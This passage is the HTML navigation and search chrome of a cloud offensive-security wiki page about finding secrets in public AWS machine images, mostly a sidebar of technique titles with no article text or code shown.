light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2 checked> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> Discover secrets in public AMIs </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#finding-exposed-amis class=md-nav__link> <span class=md-ellipsis> Finding Exposed AMIs </span> </a> </li> <li class=md-nav__item> <a href=#using-public-amis-and-scanning-for-credentials class=md-nav__link> <span class=md-ellipsis> Using Public AMIs and Scanning for Credentials </span> </a> <nav class=md-nav aria-label="Using Public AMIs and Scanning for Credentials"> <ul class=md-nav__list> <li class=md-nav__item> <a href=#launching-an-instance-from-a-public-ami class=md-nav__link> <span class=md-ellipsis> Launching an Instance from a Public AMI </span> </a> </li> <li class=md-nav__item> <a href=#manually-scanning-for-credentials class=md-nav__link> <span class=md-ellipsis> Manually Scanning for Credentials </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=#automating-the-process class=md-nav__link> <span class=md-ellipsis> Automating the Process </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=../enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li 